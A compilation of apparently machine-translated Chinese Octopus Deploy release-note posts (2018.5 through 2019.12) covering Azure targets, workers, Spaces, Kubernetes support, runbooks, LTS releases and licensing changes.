这些 cmdlets 的初始版本将允许您创建 Azure 帐户和所有新的 Azure 部署目标。例如:
# Octopus variables
$serviceName = "MyNewServiceName"
$accountName = "Developer Playground"
$roleNames = "web"
# Create new target in Octopus
New-OctopusAzureWebAppTarget -Name $serviceName -AzureWebApp $serviceName -AzureResourceGroupName $serviceName -OctopusAccountIdOrName $accountName -OctopusRoles $roleNames
有关更多信息，请参见我们的 PaaS targets 博客文章和我们的动态基础设施文档。
Azure 账户作为变量
现在，您可以将 Azure 帐户设置为变量，包括项目变量、租户变量和库变量集。
这将使您能够跨每个环境或租户确定不同客户的范围。你仍然可以在 Azure PowerShell 步骤上直接选择一个帐户，就像你一直做的那样，但现在你也可以将它绑定到 Azure Account 变量。
Azure 帐户的属性(客户端 Id、订阅 Id、租户 Id 等。)也可以在您的脚本中使用。只需打开OctopusPrintVariables选项到查看所有可用的变量。
改进了对 PEM 证书链的支持
以前，证书链(即一个主要证书加上一个或多个中间或权威证书)只能以 PFX 格式上传，而 PFX 是唯一包含证书链的出口格式。
截至 2018.5 版:
- 可以上传包含证书链的 PEM 文件。
- 增加了一个新的扩展的证书变量:
MyCertificate.ChainPem(假设证书变量名为MyCertificate)，允许访问 PEM 格式的链证书 - 当导出包含链的证书时，可以选择包含各种证书组件(见下图)
许可变更
Octopus 2018.5 将有一些重要的许可更改:
- 您现有的 Azure 步骤将不会计入您的许可限制，就像以前一样。这里什么都没变。
- 就像 Octopus 中的其他目标一样，Azure 目标将开始增加你的许可限制。
- 任何现有的“旧”Azure 目标都将升级到新的格式，并将开始计入您的许可限制。
- 离线掉落目标将会像 Octopus 中的其他目标一样开始影响你的许可限制。
如果您大量使用“旧的”Azure 目标或离线 Drop 目标，请花时间确保您的 Octopus 服务器在升级后仍然符合您的许可证。八达通将在升级过程中为您检查这一点。如果你遇到麻烦，请联系我们的支持团队寻求帮助！
重大变化
如前所述，我们已经升级了 Azure SDK 库和 Azure PowerShell 模块，以支持最新的 Azure 功能。最值得注意的是缺少对嵌套 ARM 模板的支持，现在可以开箱即用了。
这些升级也迫使 Octopus 服务器的最低支持环境转向微软。NET 4.5.2 和 PowerShell 5.0 ，所以你需要相应地计划你的升级。 PowerShell 5.0 的要求只有在你运行 Azure PowerShell 脚本的情况下才有。
Azure 最近宣布从 2018 年 6 月 30 日起，他们将停止对服务管理 API 的支持(注:管理证书使用服务管理 API)。这会影响 Azure 应用服务的部署。
请转而使用八达通 Azure 账户的服务原则:https://g.octopushq.com/AzureServicePrincipalAccount
升级
像往常一样，升级 Octopus Deploy 的步骤适用。更多信息请参见发行说明。
包裹
这个月到此为止。欢迎给我们留下评论，让我们知道你的想法！前进并展开！
八达通 2018.6 六月版-八达通部署
本月，Octopus 2018.6 包括两个 UserVoice 社区要求的改进，它还为一些精彩的新功能奠定了基础，这些功能将在未来几个月内推出。请继续阅读完整的细节！
在这篇文章中
发布之旅
https://www.youtube.com/embed/tNuYRs_J8cY
VIDEO
首先，我们介绍几个较小的用户之声社区从我们的用户之声网站请求改进。
提示变量控制类型
第一个 UserVoice 建议是一个很好的改进，它允许您为提示变量指定控制类型。以前这是不可用的，因为变量只能是一个文本输入，但现在你也可以使用复选框或列表。
敏感输出变量
另一个 UserVoice 建议同样很小但很有价值，你现在可以设置敏感的输出变量。这一更改是保护敏感数据安全的一个极好的补充，当您动态生成密码并在整个部署中使用它们时，这在动态配置场景中非常方便。
构建基础-按比例设计
接下来，这个版本为两个新特性奠定了基础，这两个新特性是为拥有大型 Octopus 实例的大型团队和公司设计的。它们旨在帮助我们的客户扩展成千上万个项目、环境和部署。
Octopus Workers 后端增强
这个月，我们将对一个更广泛的特性进行后端修改，这个特性叫做 Workers，即将推出。这些变化是技术性的和透明的，但是这是一个很好的机会来回顾这个特性。工人可以用来替换和扩展我们的功能，以运行在八达通服务器上的步骤。这是我们在 Octopus 3.0 中引入的东西，它通常用于执行一次性任务，如数据库脚本或其他不需要在特定机器上运行的东西。工作人员在此基础上提高了安全性，这样在部署过程中就不会在 Octopus 服务器上运行自定义脚本。它还可以通过将部署步骤从您的 Octopus 服务器转移到一组工作人员上来提高性能，让 Octopus 服务器来协调部署。在我们发布这项伟大的新功能时，我们将讨论许多其他好处。
注意:这个特性是可选的。您可以让一切保持原样，您的部署将继续工作。*我们毕竟称章鱼服务器为“内置工人”！*工人是一个可选的特性，您可以根据需要添加到您的部署中。
八达通空间后端增强
我们还包括了另一个重要特性的初始后端更改，这个特性叫做 Spaces，也即将推出。Spaces 允许你在 Octopus 中为你的团队创建你自己的自定义世界。因此，您只能看到您的项目、环境和机器。这对于拥有数百名使用 Octopus 的开发人员、测试人员和管理人员的大公司或者拥有大量项目和环境的小型团队来说是非常有益的。可能很难找到对你来说重要的细节，但这随着空间而变化，这很快就会发生。
许可变更
总结:如果你已经在愉快地使用 Octopus Deploy，对你来说没有什么应该改变！此更改仅影响在 2018 年 3 月 31 日之后安装了 Octopus Deploy 并计划使用免费社区版的客户。
回到今年 2 月，我们宣布我们将不再支持新安装的 Octopus Deploy 的免费社区版。从 Octopus 2018.6 开始，我们将在产品本身中执行该决定:
- 如果您在 2018 年 3 月 31 日之前已经在使用 Octopus Deploy，对您来说没有任何变化。
- 如果你已经有了 Octopus Deploy 的商业许可，那么对你来说什么都没有改变。
- 如果你已经在使用免费的社区版，不要担心，它会继续工作！是的，您可以使用现有的社区版本限制升级到新版本的 Octopus Deploy。
- 如果您在 2018 年 3 月 31 日之前开始试用 Octopus Deploy，那么对您来说没有任何变化。您的试用版将自动降级为免费社区版。
- 如果您在 2018 年 3 月 31 日之后开始试用 Octopus Deploy，您需要在试用结束后购买商业许可证。别担心，我们已经推出了一些非常实惠的商业许可证。
如果您有任何疑问，请随时联系我们。
重大变化
随着工人的基础进入，我们正在删除允许单个触手取代内置工人的Octopus.Server.exe external-worker命令。如果您已经将触手作为外部工作者使用，我们将自动将其作为默认工作者池中的第一个工作者进行迁移。了解 Octopus Deploy 2018.6 及更新版本中的管理外部工作人员。
此外，因为像部署目标一样，可以对工作人员进行健康检查，所以健康检查和升级任务的一个参数已被调整。如果使用 UI，什么都不会改变。如果您通过带有参数的 API 插入任务，例如来自客户端库的...ExecuteHealthCheck(environmentId: "Environments-21")，什么都不会改变。但是，如果您创建不带参数的健康检查或升级任务，这意味着针对所有部署目标和所有工作人员。将restrictTo: "DeploymentTargets"用于所有部署目标，将restrictTo: "Workers"用于所有工人。
除此之外，在这个版本中没有任何突破性的变化，所以你可以升级无忧！
升级
此版本包含对我们的机器表的一些优化，这可能需要一些时间，这取决于您有多少台机器，所以请确保您有时间来完成这一点。
否则，我们升级 Octopus Deploy 的标准步骤适用。更多信息请参见发布说明。
包裹
这个月到此为止。欢迎给我们留下评论，让我们知道你的想法！前进并展开！
八达通 7 月发布 2018.7 -八达通部署
这个月，我们的头条特色是 Octopus Workers ，它允许你将部署工作从你的 Octopus 服务器上转移出去。这种变化带来了几个好处，包括改进的安全性、更好的性能和其他很酷的东西，比如创建专用于特定任务的机器池的能力。
在这篇文章中
发布之旅
https://www.youtube.com/embed/N4uBvgB3ehM
VIDEO
八达通工人和工人池
Octopus workers 和 worker pools 允许您将部署工作从 Octopus 服务器上转移出去。章鱼一直有一个内置的工人，但我们从来没有这样叫它。每当您在 Octopus 服务器上执行脚本的部署工作时，它都会使用集成工作器。这项工作包括 Azure 和 AWS 步骤，以及您指定在 Octopus 服务器上运行的脚本步骤。
随着工人和工人池的引入，您现在可以选择将这项工作转移到单独的机器上，并创建工人池以用于特殊目的。步骤的执行方式没有任何变化；工作人员提供了一个关于在哪里执行这些步骤的选项。
八达通工人带来许多好处，包括:
- 提高了安全性，因为自定义脚本不在你的 Octopus 服务器上运行。
- 为 Octopus 实例和项目部署提供更好的性能。
- 其他很酷的东西，如创建工作人员池来处理特定的任务，如云部署、数据库部署和任何其他特定的任务，在这些任务中，您可能会从一组专用的机器中受益。
在我们的章鱼工人博客系列中阅读更多相关内容。
批准
工人和工人池受许可证限制吗？它们有点像部署目标，对吗？
在这一点上，我们决定限制不同许可证类型的工作线程和工作线程池的使用:
- 使用不受限制的
Community(免费)、Professional、Team或Enterprise许可证的客户仅限一名员工。这使您能够从使用内置工作器过渡到更安全的配置。 - 使用不受限制的
High Availability许可证的客户可以获得无限制的工人。 - 拥有当前
Standard或Data Center执照的客户还可以获得无限量工人。这些许可证是在 Octopus 4.0 前后推出的。 - 章鱼云客户使用
Standard订阅获得无限工人。 - 章鱼云使用
Starter订阅的客户仅限一名工作人员。毕竟只是为了入门。
随着时间的推移，我们可能会决定改变这些限制。如果你对你的执照以及它如何适用于工人有任何疑问，请联系 sales@octopus.com。
性能和抛光改进
我们还发布了一些性能和改进。也就是说，我们做了一些重要的更新来提高 Octopus 服务器的性能和可用性。特别是对于较大的安装，包括在某些情况下大大降低 SQL server 上的 CPU 使用率，对删除的改进，以及更快的项目和基础结构仪表板。我们一直在努力改善我们的用户体验，本月，我们调整了可变快照更新流程，并改进了生命周期、渠道和角色范围页面。
Azure 网站和插槽
在这个版本中，我们恢复了对 Azure 网站部署插槽的一流支持，允许您为 Azure Web App 部署目标选择特定插槽，或者直接在部署 Azure Web App 步骤上设置插槽。我们还改进了 Azure 网站选择器的性能。
重大变化
列出 Azure 网站\api\accounts\{id}\websites的 API 端点不再返回部署槽，只返回生产网站。有一个新的 API 端点/api/accounts/{id}/{resourceGroupName}/websites/{webSiteName}/slots用于列出单个 Web 站点的部署位置。
已知问题
当使用Dynamic infra structure PowerShell cmdlet创建新的 Azure PaaS 部署目标时，如果后续步骤从外部工作器向新创建的目标部署包，部署将失败。在脚本步骤和包部署步骤之间添加一个健康检查步骤，为全面健康检查配置，这将允许部署计划为工作进程获取必要的包。我们已经创建了一个 GitHub 问题来跟踪这个问题，直到它得到解决。
升级
升级 Octopus Deploy 的步骤照常适用。更多信息请参见发行说明。
包裹
这个月到此为止。欢迎给我们留下评论，让我们知道你的想法！前进并展开！
Octopus 2018.8 版本- Octopus 部署
在这篇文章中
发布之旅
https://www.youtube.com/embed/luv-qSbla_k
VIDEO
脚本步骤包++
在 Octopus 2018.8 中，脚本步骤家族(运行一个脚本、运行一个 Azure PowerShell 脚本、运行一个 AWS CLI 脚本)获得了一些新的超能力。
我们正在使从脚本步骤消费包变得更容易和更强大。现在可以添加多个包引用，并且可以有选择地提取每个包。也可以引用容器图像。我们还增加了对变量替换的支持，因此包含在被引用的包中的任何文件都可以被更新。
我们有一整篇关于这些增强功能的文章，请阅读。
库伯内特阿尔法
我们非常高兴能在 Octopus 中包含 Kubernetes 支持的初稿！这个功能是在一个特性标志后面发布的，它的设计是为了让我们能够收到一些真实用户的反馈。虽然我们目前不建议将它用于生产工作负载，但我们鼓励任何感兴趣的人看一看，非常欢迎所有的反馈。
AWS ECR 进料
添加了新的AWS Elastic Container Registry进给类型。这使得配置 AWS 凭证以从 ECR 访问容器图像变得更加方便。
升级
像往常一样，升级 Octopus Deploy 的步骤适用。更多信息请参见发布说明。
Kubernetes 部署变得简单- Octopus 部署 2018.9 - Octopus 部署
https://www.youtube.com/embed/FZ8U5OuDyOw
VIDEO
Kubernetes 部署变得简单
Octopus Deploy 很荣幸能够为 Kubernetes deployments 提供一流的支持。我们的目标是让 Kubernetes 易于团队采用并将其项目迁移到这个流行的平台上。
Kubernetes(或 K8s)是一个灵活、强大的平台，用于以可靠和可伸缩的方式运行应用程序和服务。伴随着这种能力而来的是巨大的复杂性，学习配置选项和部署 YAML 可能会非常困难。
我们采取平衡功能和易用性的方法，为您提供两全其美的服务。这表现为对 Kubernetes 集群的基础设施支持和丰富的部署步骤，以简化您的部署过程。团队可以选择合适的平衡，从零 YAML 配置到完全控制kubectl和部署 YAML。
在这篇文章中
Kubernetes 的基础设施
Octopus Deploy 现在支持添加 Kubernetes 集群作为部署目标和相关的配置选项。我们还增加了对舵图馈送的支持。
Kubernetes 的部署流程
Octopus Deploy 附带了许多新的部署步骤模板，使团队能够将 Docker 容器部署到 Kubernetes，直接使用kubectl执行脚本，以及一个 Helm 更新步骤。
离线拖放工件
离线包投递目标现在可以配置为将包作为 Octopus 工件持久化。
离线包丢弃目标以前只能将包持久化到文件系统目录中，这不适合 Octopus Cloud 实例。人工制品非常适合这一点；部署包作为一个 zip 文件持久存储在 Octopus 中。
更新的云 SDK
我们已经更新了 Octopus 附带的所有云依赖项:
- Azure PowerShell 模块从
5.7.0升级到6.8.1。此更新修复了 Azure PowerShell 的5.7.0版本的一些已知问题。 - Azure CLI 从
2.0.42升级到2.0.45。 - AWS PowerShell 模块从
3.3.225.1升级到3.3.343.0。 - AWS CLI 从
1.16.6升级到1.16.15。 - Terraform CLI 从
0.11.5升级到0.11.81。 - Terraform AzureRm 插件版本
1.16.0。 - Terraform AWS 插件版本
1.39.0。
重大变化
该版本包括 Azure PowerShell 模块对6.8.1的重大改进，以修复先前5.7.0捆绑版本的已知问题。请参见 Azure PowerShell 发行说明了解更多信息。
升级
升级 Octopus Deploy 的步骤照常适用。更多信息请参见发布说明。自主托管的 Octopus 客户现在可以下载最新版本。对于章鱼云，你将在下周他们的维护窗口期间开始接收最新的 bits。
这个月到此为止。欢迎给我们留下评论，让我们知道你的想法！前进并展开！
空间-八达通部署 2019.1 -八达通部署
https://www.youtube.com/embed/9YztgS1wUmk
VIDEO
关注对你来说重要的空间
我们很自豪能够提供个空间。我们对 Spaces 的目标是帮助团队更好地组织他们的 Octopus 服务器，并专注于对他们来说重要的项目、环境和部署。这将减少噪音，让团队更有效地工作。
在这篇文章中
给团队自己的空间
空间是一个简单的概念，对每个人都有很大的好处。它允许团队将项目、环境、租户、步骤模板和其他资源分组到一个空间中。
我们更新的导航栏让您可以在空间之间快速跳转。你不会看到数十或数百个不相关的项目和其他 Octopus 资源，你只会看到那个空间的资源。
通过改进的权限控制团队领导
作为构建空间的一部分，我们需要改进我们的安全性和权限。我们的安全模型现在更易于管理，团队可以独立管理其空间的安全性。这还可以消除向系统管理员提交请求的需要。
我们更改后的安全模型让您可以更轻松地管理空间或团队级别的访问控制。
重大变化
使用空间完全是自愿的。我们已经做了大量的工作和测试，以确保该功能尽可能向后兼容。
为了支持 Spaces 并改进你如何配置团队我们做了一些突破性的 API 修改。在升级之前，你应该在这里复习全套。
整合/触手
一旦你更新到 2019.1 并且想要开始使用你的 Octopus 实例中的空间特性，你将需要升级你的集成，包括触手。
升级
通常，升级 Octopus Deploy 的步骤适用。更多信息请参见发布说明。
自托管八达通客户可以通过安装八达通服务器 2019.1 今天开始使用空间。注意
2019.1是没有长期支持的快车道发布。空间将包含在 2019 年底 Q1 下一次 LTS 发布的章鱼中。Octopus Cloud 客户将在其维护窗口的大约 2 周内开始接收最新的 bits。
这个月到此为止。欢迎给我们留下评论，让我们知道你的想法！前进并展开！
想了解更多
Octopus Deploy 2019.10 -灵活的 Linux 部署、PowerShell 核心支持、操作手册 EAP - Octopus Deploy
https://www.youtube.com/embed/pBW_gypiS6w
VIDEO
我们很高兴推出 Octopus Deploy 2019.10 。这是一个功能丰富的版本，有很多好处。头条新闻是触手 Linux 版。这个非常受欢迎的特性为部署到 Linux 的团队提供了更大的灵活性，并且能够在不打开端口 22 的情况下部署到高度安全的服务器。Tentacle for Linux 和基于 SSH 的 Linux 部署与 Bash、PowerShell Core 或 Python 中的脚本相结合，以及将您的 web 应用和服务部署到 NGINX 的第一步，使 Octopus 成为 Linux 部署的一个很好的选择。
在这篇文章中
用于 Linux 的触手
Octopus 在 3.0 版本中首次引入了对基于安全外壳(SSH)的 Linux 部署的支持，这是一个流行的部署选项。然而，一些公司在高度安全的环境中运行，在这种环境中不可能在生产服务器上打开端口 22，例如，当 web 应用程序在它们自己的 dmz 中运行时，除了 web 流量的 HTTPS 之外，不允许任何传入连接。
令人欣慰的是，这种场景现在可以用 Linux 的触手来实现了。我们的触手代理是一个轻量级的服务，它支持 Octopus 服务器和部署目标之间在监听和轮询模式下的安全通信。在轮询模式中，目标自己呼叫总部并联系 Octopus 服务器，查看是否有任何部署工作要做，如果有，则执行它。
PowerShell 核心支持
该版本增加了内置的 PowerShell 核心支持，使团队能够使用微软积极维护的自动化框架编写跨平台脚本。我们的 PowerShell 核心支持工作正常，它与我们对 Linux 部署的扩展支持配合得非常好。许多开发和运营团队都乐于编写 PowerShell 脚本，PowerShell Core 使具有 PowerShell 技能的人能够为 Linux 平台编写丰富的脚本。
Windows 平台
Octopus 将默认使用 Windows PowerShell，并在需要时提供使用 PowerShell 核心的选项。您可以通过为支持自定义脚本的步骤配置 PowerShell edition 来对此进行自定义。
Linux 平台
如果安装了 PowerShell Core，Octopus 将自动执行脚本。
改进的构建信息和工作项跟踪
Octopus 2019.4 引入了构建信息和工作项跟踪。这是一个受欢迎的特性，但是我们收到反馈说包元数据功能很难找到，因为它被隐藏在内置包库中的包细节之下，很难理解。因此，我们在 Octopus 库中将这一功能提升为名为构建信息的顶级特性，使其更易于访问和理解。我们还更新了构建服务器插件套件，以反映名称的变化。
这个特性集为团队提供了对 CI/CD 管道更好的端到端可见性，并允许快速访问构建和提交细节。这在许多方面都是显而易见的:
- 发布说明
- 部署变更
我们以前在项目设置中提供了定制发行说明模板的支持。在此版本中，我们引入了部署更改模板，因此您可以对部署更改的结构进行同样的控制。这使团队能够定制显示以满足他们的需求。
更简单的基于包的步骤模板
步骤模板是团队创建跨多个项目使用的可重用步骤的一种流行方式。我们做了一个小但重要的更新，通过引入包参数，使跨项目共享基于包的步骤模板变得更加容易。以前，您需要创建参数来公开基于包的属性。有了包参数，这就不再需要了，因为现在当步骤模板被添加到项目中时，我们会自动显示我们的包选择器。这使得创建基于包的步骤模板更加容易，并且让团队以更简单的方式绑定这些参数。
为运营团队介绍操作手册
此版本还包括对我们新的操作手册功能的早期访问。到目前为止，Octopus 一直是一个部署自动化工具，使团队能够部署其软件的新版本，但是一旦软件被部署，还有许多其他过程需要团队自动化。这些包括文件清理、夜间备份、灾难恢复以及其他脚本和手动过程。有了 Runbooks，团队可以使用 Octopus 来自动化保持现代软件在生产中运行所涉及的一切。
我们很喜欢这个功能的反馈，所以请在#runbooks频道加入我们的社区 slack 的讨论。我们的文档涵盖了如何开始的所有细节。
重大变化
这个版本包括两个小的突破性变化。
PowerShell 内核
PowerShell 核心支持引入了一项更改，即针对非 Windows 目标运行 PowerShell 脚本不再静默忽略.ps1文件。Octopus 现在将尝试在部署目标上执行.ps1文件。如果 PowerShell Core 安装在这些目标上，这可能会改变您的部署行为。如果 PowerShell 核心未安装在这些目标上，部署将会失败。
构建信息
我们的构建信息变更涉及到从 API 到数据库的资源重命名。这通常是向后兼容的，然而任何使用我们 GitHub 问题跟踪器的人都需要确保他们升级他们的 Octopus 服务器，如果他们升级他们的 Azure DevOps 扩展、 TeamCity 插件或 Bamboo 插件。
升级
升级 Octopus Deploy 的步骤照常适用。更多信息，请参见发行说明。自托管 Octopus 客户现在可以下载最新版本。对于章鱼云，您将在下周的维护窗口期间开始接收最新的 bits。
包裹
这就是本次发布的全部内容。欢迎给我们留下评论，让我们知道你的想法！愉快的部署！
八达通部署 2019.11:操作手册 RTW -八达通部署
Octopus Deploy 2019.11 现已推出，该版本引入了我们的运营手册功能和其他众多由客户反馈驱动的小改进。
我们在 Octopus 2019.10 中发布了对 Runbooks 的早期访问，我们写了关于 T2 为什么团队应该关心他们的文章。我们很高兴地告诉大家，Runbooks 已经达到了发布到网络(RTW)的状态。这意味着我们已经取消了早期访问功能切换，并且我们很自豪地发布了一个完整的解决方案来帮助团队自动化他们的运营任务。
在这篇文章中
运营操作手册
我们一流的 Operations Runbook 平台可自动执行日常维护和紧急操作任务，包括基础设施配置、数据库管理以及网站故障转移和恢复。
我们的运营手册功能现已准备好投入生产，包括以下内容:
- 对于配置了部署流程的任何人来说，这是一个熟悉的配置流程。
- 按需或按计划(每夜、工作日、每月一次等)直接针对基础设施执行操作手册的能力。)根据您团队的需求。
- Runbooks 可以用提示变量参数化。
- 您可以对您的操作手册进行更改，并且只有在经过安全测试后才能发布。
- 运行手册由 Octopus 管理和执行，因此这意味着有一个完整的审计跟踪，可以在以后进行审查，从而很容易看到发生了什么，什么时候发生的，为什么发生的，以及是否需要更改。
- 您可以授予整个团队执行 run book 的权限，而无需为团队中的每个人分配 run book 将要执行的基础架构的权限。
由客户反馈推动的改进
我们的团队根据客户反馈和支持请求不断添加更新和错误修复。我们想在此版本中重点介绍一些变化:
- 更简单的 Octopus 仪表盘配置，更清晰的了解什么是过滤。
- 增加了对测试 Azure DevOps 问题跟踪器连通性的支持。在配置生成服务器集成和工作项跟踪时，此更改会有所帮助。
- 如果用户只有 1 个空间并且没有添加更多空间的权限，空间选择将不再可见。
- 增加了升级触手子集的支持。这适用于环境或工作者池中的触角/工作者组，而不是所有部署目标。
- 增加了对重新部署之前成功部署的支持，因此更容易回滚其他版本。
- Swagger API 文档更加准确，使得团队更容易与 Octopus API 集成。
- 提高了租户页面的性能。当客户有成百上千的租户时，租户页面现在呈现得更快了。
- 提高了可支持性。我们改进了自动部署和动态基础设施供应的日志记录，以帮助团队了解如果出现问题会发生什么。
重大变化
作为这个版本的一部分，Octopus API 已经改变了 Octopus 的版本。8.0.0 之前的客户端无法在版本低于 2019.11.0 的 Octopus 服务器上创建计划触发器。
升级
像往常一样，升级 Octopus Deploy 的步骤适用。更多信息请参见发布说明。自主托管的 Octopus 客户现在可以下载最新版本。对于 Octopus Cloud，您将在维护窗口期间很快开始接收最新的 bits。
包裹
这个版本是我们 2019 年的最终版本，我们期待 2020 年。请关注我们的路线图，我们会定期更新。
愉快的部署！
八达通服务器 2019.12 与长期支持(LTS) -八达通部署
Octopus Deploy 2019.12 LTS现在可用于运行 Octopus Deploy 自托管的团队，我们向这些客户推荐这个版本。我们的长期支持(LTS)计划包括提供六个月支持的版本，包括关键错误修复和安全补丁。LTS 版本不包括在此版本之后发布的任何新功能、次要增强功能或次要错误修复；这些都将被纳入下一个 LTS 版本。
下表显示了我们当前的 LTS 版本。不再支持 Octopus 2019.6，我们建议该版本的客户升级到较新的版本。
| 释放；排放；发布 | 长期支持 |
|---|---|
| 章鱼 2019.12 | 是 |
| 章鱼 2019.9 | 是 |
| 八达通 2019.6 | 期满 |
请继续阅读，了解此版本中的内容以及任何重大变化。
在这篇文章中
运营操作手册
我们的 runbook 平台旨在帮助团队自动化日常维护和紧急操作任务，如基础架构供应、数据库管理以及网站故障转移和恢复。
此 LTS 版本包括对操作手册的支持，其中包括:
- 对于配置了部署流程的任何人来说，这是一个熟悉的配置流程。
- 按需或按计划(每夜、工作日、每月一次等)直接针对基础设施执行操作手册的能力。)根据您团队的需求。
- Runbooks 可以用提示变量参数化。
- 您可以放心地对您的操作手册进行更改，并且只有在经过安全测试后才能发布。
- 运行手册由 Octopus 管理和执行，因此这意味着有一个完整的审计跟踪，可以在以后进行审查，从而很容易看到发生了什么，什么时候发生的，为什么发生的，以及是否需要更改。
- 您可以授予整个团队执行 run book 的权限，而无需为团队中的每个人分配 run book 将要执行的基础架构的权限。
Jenkins 插件
【T2 
此版本还包括我们的官方 Octopus Deploy Jenkins 插件，该插件已经发布，现在可以从 Jenkins 插件库中安装或更新(如果您当前正在运行社区插件)。这个插件建立在由 Brian Adriance 和其他贡献者维护的奇妙的社区插件之上。
在此版本中，您现在可以将 Jenkins 构建与 Octopus 部署集成，包括以下任务:
构建步骤:
- 包装应用
- 将包裹推送给八达通
- 将构建信息推送到 Octopus
生成后操作:
- 创建发布
- 部署发布
它还让您更好地了解您的 CI/CD 管道，并且它可以帮助您改进您的发布的交流。
注意:这个版本的插件不支持 Jenkins Pipelines，但是我们已经注意到了。
PowerShell 核心支持
我们增加了 PowerShell 核心支持，使团队能够使用微软的现代自动化框架编写跨平台脚本。
在 Windows 平台上，Octopus 将默认使用 Windows PowerShell，如果需要，可以选择使用 PowerShell Core。您可以通过为支持自定义脚本的步骤配置 PowerShell edition 来对此进行自定义。
在 Linux 平台上，如果安装了 PowerShell Core，Octopus 将自动执行 PowerShell 脚本。
改进的构建信息和工作项跟踪
Octopus 2019.4 引入了构建信息和工作项跟踪。这是一个很受欢迎的特性，但是我们收到反馈说包元数据功能很难找到和理解。因此，我们已经在 Octopus 库中将这一功能提升为名为构建信息的顶级功能，使其更易于访问和理解。我们已经更新了我们的构建服务器插件套件，以反映名称的变化。
我们还添加了部署变更模板来补充现有的发行说明模板，使团队能够定制显示以满足他们的需求。
其他改进
我们的团队根据客户反馈和支持请求不断添加更新和错误修复。我们想在此版本中重点介绍一些变化:
- 更简单的基于包的步骤模板，更容易用包创建步骤模板，并让团队根据这些参数进行绑定。
- 更简单的 Octopus 仪表盘配置，更清晰的了解什么被过滤。
- 增加了对测试 Azure DevOps 问题跟踪器连接性的支持。在配置生成服务器集成和工作项跟踪时，此更改会有所帮助。
- 如果用户只有一个空间并且没有添加更多空间的权限，则空间选择不再可见。
- 增加了升级触手子集的支持。这适用于环境或工作者池中的触角/工作者组，而不是所有部署目标。
- 增加了对重新部署之前成功部署的支持，因此更容易回滚到之前的版本。
- Swagger API 文档更加准确，使得团队更容易与 Octopus API 集成。
- 提高了租户页面的性能。当客户有数百或数千个租户时，租户页面现在呈现得更快。
- 提高了保障性。我们改进了自动部署和动态基础设施供应的日志记录，以帮助团队了解如果出现问题会发生什么。
重大变化
此版本包括以下突破性变化:
PowerShell 内核
PowerShell 核心支持引入了一项更改，即针对非 Windows 目标运行 PowerShell 脚本不再静默忽略.ps1文件。Octopus 现在将尝试在部署目标上执行.ps1文件。如果 PowerShell Core 安装在这些目标上，这可能会改变您的部署行为。如果 PowerShell 核心未安装在这些目标上，部署将会失败。
建造信息
我们的构建信息变更涉及到从 API 到数据库的资源重命名。这通常是向后兼容的；然而，任何使用我们的 GitHub 问题跟踪器的人都需要确保他们升级他们的章鱼服务器，如果他们升级他们的 Azure DevOps 扩展、 TeamCity 插件或 Bamboo 插件。
Octopus API 和 Octopus。客户端
作为这个版本的一部分，Octopus API 已经改变了 Octopus 的版本。8.0.0 之前的客户端无法在版本低于 2019.11.0 的 Octopus 服务器上创建计划触发器。
包扎
八达通服务器 2019.12 现已推出，你可以依赖它。长期部署愉快！
介绍我们的第二个长期支持版本-Octopus Server 2019.3 LTS-Octopus Deploy
Octopus Server 2019.3 LTS是我们长期支持计划(LTS)中的第二个版本。它提供六个月的长期支持，我们向大多数自主托管客户推荐此版本。
现在就可以下载章鱼服务器 2019.3 LTS！
我们的 LTS 版本将与大约每三个月一个新的 LTS 版本一起进入慢车道-有关所有 LTS 相关的细节，请阅读我们的长期支持文档。
2019.3 LTS 有哪些特点？
章鱼服务器2019.3 LTS和2019.2本质上是一样的。它带有空格。各种领域的大量增强和错误修复，包括:库伯内特和章鱼迁徙者。以及来自2018.11的数据库性能和云依赖更新。所以通读一下更改日志。
重大变化
2019.3 LTS包括空间，其中有一组重要的突破性变更，您可以在变更日志中找到。
虽然我们尽最大努力减少破坏性的变化，以支持空间并提供长期需要的对如何配置团队的改进，但不幸的是，我们被迫在几个方面改变了 API。如果团队自动化，用户角色和权限将需要改变。
我应该什么时候安装 2019.3 LTS？
没有比现在更好的时机了！你现在可以升级到八达通服务器2019.3 LTS。我们已经有数百名客户顺利升级到了2019.2，升级到2019.3 LTS也是从相同的代码中截取的。
现在就可以下载章鱼服务器 2019.3 LTS ！
包扎
八达通服务器的 LTS 已经到来，你可以放心。长期部署愉快！
了解更多信息
自动发布说明和工作项目跟踪-Octopus Deploy 2019.4-Octopus Deploy
我们将推出 Octopus Deploy 2019.4，重点是增强您的 CI/CD 渠道中的反馈循环。如果您曾经想要通过构建和部署更好地跟踪您的需求，这个更新是为您准备的。
此版本包括一些重要的更新:
集成
为了充分利用这个版本的特性，你需要更新你的 Octopus Deploy build 服务器插件并安装 Octopus Deploy 吉拉插件。
注意:我们也在更新我们的 Azure DevOps web 扩展，应该很快就可以使用了。
重大变化
由Octopus.Server.exe show-configuration命令返回的输出格式有一些非常细微的变化。这不太可能影响您，但是如果您正在使用它来驱动自动化，请在升级之前测试新版本。
升级
像往常一样，请遵循升级 Octopus Deploy 的正常步骤。更多信息请参见发布说明。
自托管八达通客户今天就可以通过安装八达通服务器 2019.4 开始使用这些功能。注意
2019.4是没有长期支持的快车道发布。该功能集将包含在 2019 年 Q2 年底下一次 LTS 发布的 Octopus 中。Octopus Cloud 客户将在其维护窗口的大约 2 周内开始接收最新的 bits。
包裹
这个月到此为止。欢迎给我们留下评论，让我们知道你的想法！愉快的部署！
八达通服务器 2019.6 与长期支持(LTS) -八达通部署
八达通部署 2019.6 LTS
Octopus Deploy 2019.6 LTS现在可用于运行 Octopus Deploy 自托管的团队，我们向我们的自托管客户推荐此版本。我们的长期支持(LTS)计划包括提供六个月支持的版本，包括关键错误修复和安全补丁。它们不包括新功能、次要增强或次要错误修复；这些都包含在下一个 LTS 版本中。
这是我们提供六个月长期支持的第三个版本，下表显示了我们当前的 LTS 版本。
| 释放；排放；发布 | 长期支持 |
|---|---|
| 八达通 2019.6 | 是 |
| 章鱼 2019.3 | 是 |
| 章鱼 2018.10 | 期满 |
请继续阅读，了解此版本中的内容以及任何重大变化。
在这篇文章中
吉拉一体化
完成意味着部署到生产中。我们针对吉拉云的新 Octopus 插件使团队能够直接在他们的吉拉问题中查看他们的发布和部署状态，并返回到 Octopus 以获得进一步的详细信息。这一功能使您的团队和公司能够在他们最熟悉的工具中获得更大的可见性和洞察力。
从创意到生产全程跟踪您的工作
此版本引入了构建信息和工作项跟踪。现在可以直接在 Octopus 中查看构建、提交和发布细节。该功能允许团队查看问题并构建有助于发布的细节，从而提供从问题到生产的端到端可追溯性。你甚至可以点击深层链接了解更多信息。我们支持 GitHub 问题，吉拉问题，对 Azure DevOps 的支持即将推出。
自动生成和共享发行说明
